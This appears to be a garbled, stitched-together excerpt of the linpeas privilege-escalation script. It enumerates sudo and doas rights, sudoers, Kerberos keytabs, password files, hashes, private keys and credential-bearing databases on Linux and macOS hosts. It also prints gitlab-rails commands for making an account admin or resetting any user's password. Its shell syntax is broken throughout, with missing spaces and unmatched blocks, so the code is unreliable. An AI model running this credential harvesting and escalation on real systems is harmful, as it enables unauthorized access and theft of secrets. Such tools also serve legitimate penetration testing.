(echo''| timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g"| sed "s,$sudoG,${SED_GREEN},g"| sed -${E}"s,$sudoB,${SED_RED},g"| sed -${E}"s,$sudoVB1,${SED_RED_YELLOW},"| sed -${E}"s,$sudoVB2,${SED_RED_YELLOW},"| sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo"
if["$PASSWORD"];then
(echo"$PASSWORD"| timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g"| sed "s,$sudoG,${SED_GREEN},g"| sed -${E}"s,$sudoB,${SED_RED},g"| sed -${E}"s,$sudoVB1,${SED_RED_YELLOW},"| sed -${E}"s,$sudoVB2,${SED_RED_YELLOW},") 2>/dev/null || echo_not_found "sudo"
fi
( grep -Iv "^$" cat /etc/sudoers | grep -v "#"| sed "s,_proxy,${SED_RED},g"| sed "s,$sudoG,${SED_GREEN},g"| sed -${E}"s,$sudoB,${SED_RED},g"| sed "s,pwfeedback,${SED_RED},g"| sed -${E}"s,$sudoVB1,${SED_RED_YELLOW},"| sed -${E}"s,$sudoVB2,${SED_RED_YELLOW},") 2>/dev/null || echo_not_found "/etc/sudoers"
if ! ["$IAMROOT"]&&[ -w '/etc/sudoers.d/'];then
echo"You can create a file in /etc/sudoers.d/ and escalate privileges"| sed -${E}"s,.*,${SED_RED_YELLOW},"
fi
for filename in '/etc/sudoers.d/*';do
if[ -r "$filename"];then
echo"Sudoers file: $filename is readable"| sed -${E}"s,.*,${SED_RED},g"
grep -Iv "^$""$filename"| grep -v "#"| sed "s,_proxy,${SED_RED},g"| sed "s,$sudoG,${SED_GREEN},g"| sed -${E}"s,$sudoB,${SED_RED},g"| sed "s,pwfeedback,${SED_RED},g"| sed -${E}"s,$sudoVB1,${SED_RED_YELLOW},"| sed -${E}"s,$sudoVB2,${SED_RED_YELLOW},"
cat /etc/doas.conf "$doas_dir_name/doas.conf""$doas_dir_name/../etc/doas.conf""$doas_dir_name/etc/doas.conf" 2>/dev/null | sed -${E}"s,$sh_usrs,${SED_RED},"| sed "s,root,${SED_RED},"| sed "s,nopass,${SED_RED},"| sed -${E}"s,$nosh_usrs,${SED_BLUE},"| sed "s,$USER,${SED_RED_YELLOW},"
(cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#"| grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E}"s,$groupsB,${SED_RED},"| sed -${E}"s,$groupsVB,${SED_RED},"| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},"| sed -${E}"s,$nosh_usrs,${SED_BLUE},"| sed "s,$USER,${SED_RED_YELLOW},"| sed -${E}"s,$Groups,${SED_RED_YELLOW},")|| echo_not_found "/etc/polkit-1/localauthority.conf.d"
echo""
#-- UI) Superusers
print_2title "Superusers"
awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null | sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},"| sed -${E}"s,$nosh_usrs,${SED_BLUE},"| sed -${E}"s,$knw_usrs,${SED_GREEN},"| sed "s,$USER,${SED_RED_YELLOW},"| sed "s,root,${SED_RED},"
dscl . list /Users |whileread i;do id $i;done 2>/dev/null | sort | sed -${E}"s,$groupsB,${SED_RED},g"| sed -${E}"s,$groupsVB,${SED_RED},g"| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},g"| sed "s,$USER,${SED_LIGHT_MAGENTA},g"| sed -${E}"s,$nosh_usrs,${SED_BLUE},g"| sed -${E}"s,$knw_usrs,${SED_GREEN},g"| sed "s,root,${SED_RED},"| sed -${E}"s,$knw_grps,${SED_GREEN},g"
else
cut -d":" -f1 /etc/passwd 2>/dev/null|whileread i;do id $i;done 2>/dev/null | sort | sed -${E}"s,$groupsB,${SED_RED},g"| sed -${E}"s,$groupsVB,${SED_RED},g"| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},g"| sed "s,$USER,${SED_LIGHT_MAGENTA},g"| sed -${E}"s,$nosh_usrs,${SED_BLUE},g"| sed -${E}"s,$knw_usrs,${SED_GREEN},g"| sed "s,root,${SED_RED},"| sed -${E}"s,$knw_grps,${SED_GREEN},g"
fi
echo""
#-- UI) Login now
print_2title "Login now"
(w || who || finger || users) 2>/dev/null | sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},"| sed -${E}"s,$nosh_usrs,${SED_BLUE},"| sed -${E}"s,$knw_usrs,${SED_GREEN},"| sed "s,$USER,${SED_LIGHT_MAGENTA},"| sed "s,root,${SED_RED},"
echo""
#-- UI) Last logons
print_2title "Last logons"
(last -Faiw || last) 2>/dev/null | tail | sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},"| sed -${E}"s,$nosh_usrs,${SED_RED},"| sed -${E}"s,$knw_usrs,${SED_GREEN},"| sed "s,$USER,${SED_LIGHT_MAGENTA},"| sed "s,root,${SED_RED},"
echo""
#-- UI) Login info
print_2title "Last time logon each user"
lastlog 2>/dev/null | grep -v "Never"| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},"| sed -${E}"s,$nosh_usrs,${SED_BLUE},"| sed -${E}"s,$knw_usrs,${SED_GREEN},"| sed "s,$USER,${SED_LIGHT_MAGENTA},"| sed "s,root,${SED_RED},"
finger "$uname"| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},"| sed -${E}"s,$nosh_usrs,${SED_BLUE},"| sed -${E}"s,$knw_usrs,${SED_GREEN},"| sed "s,$USER,${SED_LIGHT_MAGENTA},"| sed "s,root,${SED_RED},"
echo"From '$f' Mysql user: $u"| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},"| sed -${E}"s,$nosh_usrs,${SED_BLUE},"| sed -${E}"s,$knw_usrs,${SED_GREEN},"| sed "s,$USER,${SED_LIGHT_MAGENTA},"| sed "s,root,${SED_RED},"
if ! ["`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgadmin.*\.db$\"`"];thenif["$DEBUG"];then echo_not_found "pgadmin*.db";fi;fi;printf"%s""$PSTORAGE_POSTGRESQL"| grep -E "pgadmin.*\.db$"|whileread f;do ls -ld "$f"| sed -${E}"s,pgadmin.*\.db$,${SED_RED},";done;echo"";
if ! ["`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pg_hba\.conf$\"`"];thenif["$DEBUG"];then echo_not_found "pg_hba.conf";fi;fi;printf"%s""$PSTORAGE_POSTGRESQL"| grep -E "pg_hba\.conf$"|whileread f;do ls -ld "$f"| sed -${E}"s,pg_hba\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"| grep -Ev "\W+\#|^#"| sed -${E}"s,auth|password|md5|user=|pass=|trust,${SED_RED},g";done;echo"";
if ! ["`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"postgresql\.conf$\"`"];thenif["$DEBUG"];then echo_not_found "postgresql.conf";fi;fi;printf"%s""$PSTORAGE_POSTGRESQL"| grep -E "postgresql\.conf$"|whileread f;do ls -ld "$f"| sed -${E}"s,postgresql\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"| grep -Ev "\W+\#|^#"| sed -${E}"s,auth|password|md5|user=|pass=|trust,${SED_RED},g";done;echo"";
if ! ["`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgsql\.conf$\"`"];thenif["$DEBUG"];then echo_not_found "pgsql.conf";fi;fi;printf"%s""$PSTORAGE_POSTGRESQL"| grep -E "pgsql\.conf$"|whileread f;do ls -ld "$f"| sed -${E}"s,pgsql\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"| grep -Ev "\W+\#|^#"| sed -${E}"s,auth|password|md5|user=|pass=|trust,${SED_RED},g";done;echo"";
fi
#-- SI) PostgreSQL brute
if["$TIMEOUT"]&&["$(command -v psql)"]||["$DEBUG"];then# In some OS (like OpenBSD) it will expect the password from console and will pause the script. Also, this OS doesn't have the "timeout" command so lets only use this checks in OS that has it.
#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this
print_list "PostgreSQL connection to template0 using postgres/NOPASS ........ "
privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null)#If there is tons of files linpeas gets frozen here without a timeout
if["$ptrace_scope"]&&["$ptrace_scope" -eq 0];thenecho"ptrace protection is disabled (0), you might find tickets inside processes memory"| sed "s,is disabled,${SED_RED},g";
elseecho"ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory"| sed "s,is enabled,${SED_GREEN},g";
fi
printf"%s\n""$PSTORAGE_KERBEROS"|whileread f;do
if[ -r "$f"];then
ifecho"$f"| grep -q .k5login;then
echo".k5login file (users with access to the user who has this file in his home)"
cat "$f" 2>/dev/null | sed -${E}"s,.*,${SED_RED},g"
elifecho"$f"| grep -q keytab;then
echo""
echo"keytab file found, you may be able to impersonate some kerberos principals and add users or modify passwords"
klist -k "$f" 2>/dev/null | sed -${E}"s,.*,${SED_RED},g"
#kadmin -k -t /etc/krb5.keytab -p "$l" -q getprivs 2>/dev/null #This should show the permissions of each impersoanted user, the thing is that in a test it showed that every user had the same permissions (even if they didn't). So this test isn't valid
#We could also try to create a new user or modify a password, but I'm not user if linpeas should do that
fi
done
elifecho"$f"| grep -q krb5.conf;then
ls -l "$f"
cat "$f" 2>/dev/null | sed -${E}"s,default_ccache_name,${SED_RED},";
elifecho"$f"| grep -q kadm5.acl;then
ls -l "$f"
cat "$f" 2>/dev/null
elifecho"$f"| grep -q sssd.conf;then
ls -l "$f"
cat "$f" 2>/dev/null | sed -${E}"s,cache_credentials ?= ?[tT][rR][uU][eE],${SED_RED},";
elifecho"$f"| grep -q secrets.ldb;then
echo"You could use SSSDKCMExtractor to extract the tickets stored here"| sed -${E}"s,SSSDKCMExtractor,${SED_RED},";
ls -l "$f"
elifecho"$f"| grep -q .secrets.mkey;then
echo"This is the secrets file to use with SSSDKCMExtractor"| sed -${E}"s,SSSDKCMExtractor,${SED_RED},";
ls -l "$f"
fi
fi
done
ls -l "/tmp/krb5cc*""/var/lib/sss/db/ccache_*""/etc/opt/quest/vas/host.keytab" 2>/dev/null || echo_not_found "tickets kerberos"
klist 2>/dev/null || echo_not_found "klist"
echo""
fi
if["$PSTORAGE_KNOCKD"]||["$DEBUG"];then
print_2title "Analyzing Knockd Files (limit 70)"
if ! ["`echo \"$PSTORAGE_KNOCKD\" | grep -E \"knockd.*$\"`"];thenif["$DEBUG"];then echo_not_found "*knockd*";fi;fi;printf"%s""$PSTORAGE_KNOCKD"| grep -E "knockd.*$"|whileread f;do ls -ld "$f"| sed -${E}"s,knockd.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$";done;echo"";
fi
if["$PSTORAGE_KIBANA"]||["$DEBUG"];then
print_2title "Analyzing Kibana Files (limit 70)"
if ! ["`echo \"$PSTORAGE_KIBANA\" | grep -E \"kibana\.y.*ml$\"`"];thenif["$DEBUG"];then echo_not_found "kibana.y*ml";fi;fi;printf"%s""$PSTORAGE_KIBANA"| grep -E "kibana\.y.*ml$"|whileread f;do ls -ld "$f"| sed -${E}"s,kibana\.y.*ml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"| grep -Ev "\W+\#|^#|^[[:space:]]*$"| sed -${E}"s,username|password|host|port|elasticsearch|ssl,${SED_RED},g";done;echo"";
cat "$d/startup.options" 2>/dev/null | grep "LS_USER\|LS_GROUP"| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},"| sed -${E}"s,$nosh_usrs,${SED_BLUE},"| sed -${E}"s,$knw_usrs,${SED_GREEN},"| sed -${E}"s,$USER,${SED_LIGHT_MAGENTA},"| sed -${E}"s,root,${SED_RED},"
fi
cat "$d/conf.d/out*"| grep "exec\s*{\|command\s*=>"| sed -${E}"s,exec\W*\{|command\W*=>,${SED_RED},"
cat "$d/conf.d/filt*"| grep "path\s*=>\|code\s*=>\|ruby\s*{"| sed -${E}"s,path\W*=>|code\W*=>|ruby\W*\{,${SED_RED},"
echo"If you have enough privileges, you can make an account under your control administrator by running: gitlab-rails runner 'user = User.find_by(email: \"youruser@example.com\"); user.admin = TRUE; user.save!'"
echo"Alternatively, you could change the password of any user by running: gitlab-rails runner 'user = User.find_by(email: \"admin@example.com\"); user.password = \"pass_peass_pass\"; user.password_confirmation = \"pass_peass_pass\"; user.save!'"
echo""
fi
if["$(command -v gitlab-backup)"];then
echo"If you have enough privileges, you can create a backup of all the repositories inside gitlab using 'gitlab-backup create'"
echo"Then you can get the plain-text with something like 'git clone \@hashed/19/23/14348274[...]38749234.bundle'"
echo"$s"| sed -${E}"s,$sidG1,${SED_GREEN},"| sed -${E}"s,$sidG2,${SED_GREEN},"| sed -${E}"s,$sidG3,${SED_GREEN},"| sed -${E}"s,$sidG4,${SED_GREEN},"| sed -${E}"s,$sidVB,${SED_RED_YELLOW},"| sed -${E}"s,$sidVB2,${SED_RED_YELLOW},"
else
echo"$s (Unknown SUID binary)"| sed -${E}"s,/.*,${SED_RED},"
printf"$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
printf"$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
fi
fi
fi
done
if ! ["$FAST"]&&["$TIMEOUT"]&&["$STRACE"]&& ! ["$NOTEXPORT"]&&[ -x "$sname"];then
echo"$s"| sed -${E}"s,$sidG1,${SED_GREEN},"| sed -${E}"s,$sidG2,${SED_GREEN},"| sed -${E}"s,$sidG3,${SED_GREEN},"| sed -${E}"s,$sidG4,${SED_GREEN},"| sed -${E}"s,$sidVB,${SED_RED_YELLOW},"| sed -${E}"s,$sidVB2,${SED_RED_YELLOW},"
else
echo"$s (Unknown SGID binary)"| sed -${E}"s,/.*,${SED_RED},"
printf$ITALIC
if ! ["$FAST"]&&["$STRINGS"];then
$STRINGS"$sname"| sort | uniq |whileread sline;do
sline_first="$(echo$sline| cut -d ' ' -f1)"
ifecho"$sline_first"| grep -qEv "$cfuncs";then
ifecho"$sline_first"| grep -q "/"&&[ -f "$sline_first"];then#If a path
grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},"| sed -${E}"s,$nosh_usrs,${SED_BLUE},"| sed -${E}"s,$knw_usrs,${SED_GREEN},"| sed "s,$USER,${SED_RED},"
((getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null)|| echo_not_found "files with acls in searched folders")| head -n 70| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},"| sed -${E}"s,$nosh_usrs,${SED_BLUE},"| sed -${E}"s,$knw_usrs,${SED_GREEN},"| sed "s,$USER,${SED_RED},"
ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete"| grep -E -B1 "\d: "| head -n 70| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},"| sed -${E}"s,$nosh_usrs,${SED_BLUE},"| sed -${E}"s,$knw_usrs,${SED_GREEN},"| sed "s,$USER,${SED_RED},"
fi
echo""
##-- IF) Files with ResourceFork
#if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER
print_list "Can I write in network-scripts? ...... "
if ! ["$IAMROOT"]&&[ -w "/etc/sysconfig/network-scripts/"];thenecho"You have write privileges on /etc/sysconfig/network-scripts/"| sed -${E}"s,.*,${SED_RED_YELLOW},"
elif["$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(''(' -user $USER')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '('$wgroups')'')'')'')' 2>/dev/null)"];thenecho"You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(''(' -user $USER')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '('$wgroups')'')'')'')' 2>/dev/null)"| sed -${E}"s,.*,${SED_RED_YELLOW},"
else echo_no
fi
##-- IF) Read root dir
print_list "Can I read root folder? .............. "
elif ! ["$IAMROOT"]&&[ -w "$log"]&&["$(command -v logrotate 2>/dev/null)"]&& logrotate --version 2>&1| grep -qE ' 1| 2| 3.1';thenprintf"Writable:$RED$log\n"$NC;#Check vuln version of logrotate is used and print red in that case
(find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50| sed -${E}"s,$sh_usrs,${SED_RED},"| sed -${E}"s,$nosh_usrs,${SED_BLUE},g"| sed -${E}"s,$knw_usrs,${SED_GREEN},g"| sed "s,$USER,${SED_RED},g"| sed "s,root,${SED_GREEN},g")|| echo_not_found
echo""
##-- IF) Backup folders
print_2title "Backup folders"
printf"%s\n""$backup_folders"|whileread b ;do
ls -ld "$b" 2> /dev/null | sed -${E}"s,backups|backup,${SED_RED},g";
echo"Found: $(file $f)"| sed -${E}"s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
else
echo"Found: $f"| sed -${E}"s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
fi
done
SQLITEPYTHON=""
echo""
printf"%s\n""$PSTORAGE_DATABASE"|whileread f;do
if([ -r "$f"]&&["$FILECMD"]&& file "$f"| grep -qi sqlite)||([ -r "$f"]&&[ ! "$FILECMD"]);then#If readable and filecmd and sqlite, or readable and not filecmd
if["$(command -v sqlite3 2>/dev/null)"];then
tables=$(sqlite3 $f".tables" 2>/dev/null)
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null)
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
# Search for credentials inside the table using python
else
columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null)
printf${BLUE}" --> Found interesting column names in$NC$t$DG(output limit 10)\n"$NC| sed -${E}"s,user.*|credential.*,${SED_RED},g"
printf"$columns\n"| sed -${E}"s,username|passw|credential|email|hash|salt|$t,${SED_RED},g"
(sqlite3 $f"select * from $t"||$SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head
fi
echo""
done
fi
fi
done
fi
echo""
if["$MACPEAS"];then
print_2title "Downloaded Files"
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp'| sort | grep -Ev "\|\|\|"
fi
##-- IF) Web files
print_2title "Web files?(output limit)"
ls -alhR /var/www/ 2>/dev/null | head
ls -alhR /srv/www/htdocs/ 2>/dev/null | head
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head
ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head
echo""
##-- IF) All hidden files
print_2title "All hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)"
find / -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {}\; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES"| grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme"| head -n 70
echo""
##-- IF) Readable files in /tmp, /var/tmp, bachups
print_2title "Searching *password* or *credential* files in home (limit 70)"
(printf"%s\n""$PSTORAGE_PASSWORD_FILES"| grep -v "/snap/"| awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }'| head -n 70| sed -${E}"s,password|credential,${SED_RED},"| sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,")|| echo_not_found
echo""
fi
##-- IF) TTY passwords
print_2title "Checking for TTY (sudo/su) passwords in audit logs"
find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"''{}'\; 2>/dev/null | sed -${E}"s,\"su\"|\"sudo\",${SED_RED},g"| sed -${E}"s,data=.*,${SED_RED},g"
(find /var/log/ /private/var/log -type f -exec grep -R -i "pwd\|passw""{}"\;) 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | grep -v "File does not exist:\|script not found or unable to stat:\|\"GET /.*\" 404"| head -n 70| sed -${E}"s,pwd|passw,${SED_RED},"
printf"%s\n""$intpwdfiles"| grep -vI ".php:"| grep -E "^/"| grep ":"| sed '/^.\{150\}./d'| sort | uniq | grep -iIv "linpeas"| head -n 70| sed -${E}"s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g"
echo""
##-- IF) Find possible files with passwords
print_2title "Searching possible password variables inside key folders (limit 140)"
timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| grep -Ev "^#"| grep -iv "linpeas"| sort | uniq | head -n 70| sed -${E}"s,$pwd_in_variables1,${SED_RED},g"| sed -${E}"s,$pwd_in_variables2,${SED_RED},g"| sed -${E}"s,$pwd_in_variables3,${SED_RED},g"| sed -${E}"s,$pwd_in_variables4,${SED_RED},g"| sed -${E}"s,$pwd_in_variables5,${SED_RED},g"| sed -${E}"s,$pwd_in_variables6,${SED_RED},g"| sed -${E}"s,$pwd_in_variables7,${SED_RED},g"| sed -${E}"s,$pwd_in_variables8,${SED_RED},g"| sed -${E}"s,$pwd_in_variables9,${SED_RED},g"| sed -${E}"s,$pwd_in_variables10,${SED_RED},g"| sed -${E}"s,$pwd_in_variables11,${SED_RED},g"&
timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| grep -Ev "^#"| grep -iv "linpeas"| sort | uniq | head -n 70| sed -${E}"s,$pwd_in_variables1,${SED_RED},g"| sed -${E}"s,$pwd_in_variables2,${SED_RED},g"| sed -${E}"s,$pwd_in_variables3,${SED_RED},g"| sed -${E}"s,$pwd_in_variables4,${SED_RED},g"| sed -${E}"s,$pwd_in_variables5,${SED_RED},g"| sed -${E}"s,$pwd_in_variables6,${SED_RED},g"| sed -${E}"s,$pwd_in_variables7,${SED_RED},g"| sed -${E}"s,$pwd_in_variables8,${SED_RED},g"| sed -${E}"s,$pwd_in_variables9,${SED_RED},g"| sed -${E}"s,$pwd_in_variables10,${SED_RED},g"| sed -${E}"s,$pwd_in_variables11,${SED_RED},g"&
wait
echo""
##-- IF) Find possible conf files with passwords
print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)"
if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config'\"$f\" 2>/dev/null;then
echo"$ITALIC$f$NC"
grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config'"$f" 2>/dev/null | sed -${E}"s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g"
fi
done
echo""
##-- IF) Find possible regexes
print_2title "Searching Hashed Passwords"
print_3title "Searching Apr1 MD5 (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~"&
wait
print_3title "Searching Apache SHA (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~"&
